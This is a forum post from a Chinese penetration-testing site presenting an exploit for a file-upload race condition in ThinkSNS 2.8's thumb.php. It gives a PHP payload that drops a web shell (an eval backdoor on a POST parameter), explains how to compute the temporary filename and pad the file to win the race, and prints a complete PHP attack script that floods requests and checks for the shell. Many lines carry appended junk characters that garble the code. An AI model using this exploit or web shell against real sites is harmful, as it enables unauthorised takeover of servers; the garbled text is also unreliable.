中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本
7 j) _# a% Y5 E3 C0 ~存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 v& Y. u" D% L8 M1 \8 g% @7 O. c4 C
漏洞文件
! R9 I4 p7 J( ~0 r0 m存在漏洞的文件为:thumb.php
+ d% H# n$ H, a! |9 a, B作者:韦鲲鹏: _( G& V8 f6 u$ `4 _9 M( h$ F6 c
1、        准备如下PHP文件并上传到服务器(自己的)。* r+ Q* M: O$ `& r
文件内容如下:( a, Q1 k& Z/ V2 T2 f' j. `& f+ d
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
. \# N+ Y/ m1 b  Z! `4 O" X% x8 Y2、        计算出临时的文件名:0 m) H! O% t2 P2 E; p9 _2 s6 }0 @5 V1 ?
这里我们可以看文件的99行(刚刚是不是没注意呀!)。+ s) {. z) @9 j

3 U; `" M3 v& V% ^7 j9 v) Z3、        上传临时文件。
5 G4 J2 ~. d& P/ B8 E9 S" y5 v4、        访问临时文件。/ [3 `5 l9 ~$ ~. W$ P# r
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)" n3 u$ p( z, g- \& r; t
Exploit文件内容如下:(这个我就不详细解释了)+ w$ o6 z/ Z: g6 B$ \* a0 D
<?php* K7 o, C& J/ b' e5 l+ P
error_reporting(0);
( c% c, e) q  B) s: \* H$ iset_time_limit(0);+ ]( ]2 F) O+ x! s( h' _( h- I
ini_set(“default_socket_timeout”, 5);
3 [" O( `6 @2 Z" M& ofunction http_send($host, $port, $headers) {5 c% e$ q$ B* N( V
$fp = fsockopen($host, $port);
9 C% d  b  L/ p9 }% N  \if (!$fp) die(‘Connection -> fail’);
, j7 `- C8 [- Y8 j+ }6 Yfputs($fp, $headers);) w" i1 K5 D% C% N9 x( H5 }6 H
return $fp;
! j9 F) ]  U4 O6 v}! m& @1 r$ [% }
function http_recv($fp) {* m; t6 Z* @" m/ X
$ret=”";* b# \$ a* R& J" }) z
while (!feof($fp))
/ `5 u" v8 a9 I$ret.= fgets($fp, 1024);
0 j; l1 n1 `+ L: K, s8 lfclose($fp);* S. a3 T- {" X9 R# m
return $ret;+ ?$ A; u' S# |: W0 g; U9 K) h
}
. L0 r: Y* ~* D  k  E7 Yprint “\n#  ThinkSns Arbitrary File Upload   #\n”;! _; R5 L& C1 P: N1 w/ f
print “# Discovered by 韦鲲鹏 #\n\n”;& {; Q( D6 }( N4 }
if ($argc < 4) {& N; j4 Y% K) Y4 d- a' p
print “Usage:   php <host> <path> <romote_url>\n”;
) ~; g9 `1 o2 l$ q; a. n# ^" gprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;; K3 _" c* {6 H" J; H' g
die();
0 A) c1 @1 `$ Y4 V" a2 Y}
: c2 w" K2 b" R# G; {' q$host = $argv[1];
  o8 K. I) A+ k: ^6 a0 U  ^0 R$path = $argv[2];
& ^- ^! Q; I' |& R/ M$url = $argv[3];
9 A: e+ Y- u: j' i$i=0;( m6 N. D2 y  Q  X
//上传数据包. N0 [* R& b/ `3 h$ t9 P. _
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;" Z$ K7 Z. ]% [) B% T
$headers_up .= “Host: “.$host.”\r\n”;& t" l$ q% [7 h! E6 R  t
$headers_up .= “Connection: close\r\n\r\n”;
- Q' q6 g) J' ~8 C* D  hecho $headers_up;
+ S9 g$ l6 u& ?8 |8 W) p. p# X//临时文件访问数据包
" R2 N1 O  Z4 w- @# Z$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
, Z+ N7 h0 ^! e/ V$headers .= “Host: “.$host.”\r\n”;
4 N! Z- N6 \* X. e% y( K/ l$headers .= “Connection: close\r\n\r\n”;
$ a* m; N- z& c) I7 u8 z  `! ~echo $headers;
+ m- |' X9 `, C) V, _while(++$i<10) {' T- E5 A  m0 F4 @; H2 }( e. J
fclose(http_send($host, 80, $headers));! e  U* z' R1 w$ E* o
}
- O# l/ I6 C, C( `8 i" u- Q- qfclose(http_send($host, 80, $headers_up));( [+ F& O6 ?7 q  I* V$ X0 h
while(++$i<50) {
. N0 O3 l: p, Z& z2 ufclose(http_send($host, 80, $headers));8 X+ B% \* Y8 i/ O0 m" l
}
, I3 O. F5 r' N7 o7 M4 g$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
4 C, S) a: B; t) c: s* A$headers .= “Host: “.$host.”\r\n”;+ [; G# U. K) \. v! P
$headers .= “Connection: close\r\n\r\n”;
$ q9 ]2 f' J& b: {  A  a+ q5 S: H+ Z$res=http_recv(http_send($host, 80, $headers));
# ]% i& L2 f9 s4 \if(preg_match(‘/200 OK/’,$res)) {5 L4 D  k. b2 ]/ [, e
print “Success!\n\n”;
1 J# f2 x, r. n2 W} else {0 P- t5 D! w9 t) h5 g
print “Fail!\n\n”;4 J+ E* N# P& I' Z, z
}
" d5 d3 H0 D0 Y! `1 ~; d/ }0 D9 A?>5 k8 J. _# i  q- ?" S% w) s  j





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2